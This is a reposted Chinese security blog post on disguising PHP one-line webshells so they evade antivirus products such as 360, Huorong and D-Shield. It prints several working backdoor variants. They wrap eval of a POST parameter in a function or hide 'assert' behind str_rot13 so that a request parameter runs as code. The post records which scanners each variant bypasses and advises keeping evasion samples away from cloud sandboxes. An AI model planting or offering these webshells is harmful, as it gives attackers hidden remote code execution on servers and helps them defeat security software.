文章首发于：
火线Zone社区（https://zone.huoxian.cn/）
前言
文章写完了，绕过了360杀毒，绕过了火绒，绕过了电脑管家，总结了些简单的姿势，确是没骗过win10的防病毒，剩下的这部分是从Typora的历史记录里找的，已经没有想法再来一遍了。
总的来讲下面的这些小步骤碰见防护比较l的站点估计问题不大，还有大家尝试免杀尤其是CS之类的免杀最好还是不要上传云沙箱了，打红队的时候直接拿去尝试就ok了。
木马免杀
环境
-
虚拟机Win10
一句话木马免杀
先测试一下简单的一句话木马"",360杀毒没反应，第一次使用360杀毒，之前从来不怎么使用该杀毒软件，但是杀毒结果为安全比较意外。
但是当360杀毒开启文件实时系统保护的时候是可以查杀到木马文件，或者时在开启该项的情况下才可直接查杀病毒。
使用火绒查杀一下
D盾的话就不做尝试了，毕竟后两款我们大都是比较常用，可用性来讲都还是比较好的。
对于如此简单的一句话当然满足不了使用，毕竟在HV中这种最低级别的木马文件时肯定绕不过态势感知的。
首先如何绕过杀软呢？
调用方法执行shell
代码：
<?phpfunction bypass(){return $_POST['hacker'];;}eval(bypass());?>
-
火绒查杀结果
-
微步沙箱进行测试
也是仅有单引擎识别为木马文件。
-
D盾扫描
使用函数调用的危险级别为三级，类型被定义为可疑文件。那么根据这种情况，根据D盾的提示，是因为识别到了文件内容的eval函数，那么尝试对eval函数做拼接，接着做尝试。
<?phphighlight_file(__FILE__);$c=str_rot13('nffreg');$c($_REQUEST['x']);?>
正常能够执行phpinfo信息，测试没有问题，继续套用方法进行魔改。
但是该变形需要再php版本<=7.0.9，这里我尝试使用php版本为7.2.x的时候是无法执行函数的，验证一波，D盾风险级别竟然为4级别，利用函数调用代码如下sss1.php。
<?phphighlight_file(__FILE__);$c=str_rot13('nffreg');function bypass($a){$a($_REQUEST['x']);}bypass($c);?>
可以看到盾的检测结果。
但是微步云沙箱依旧检测出为恶意文件，但是利用火绒杀毒检测为安全。
小结
一般使用类以及函数调用去封装一句话使用特殊函数去魔改敏感字符远程木马字符串拼接等
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习，一如既往的整理，一如即往的分享
“如侵权请私聊公众号删文”
原文始发于微信公众号（渗透Xiao白帽）：Bypass分享 | 形而上学，不行退学的一句话
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论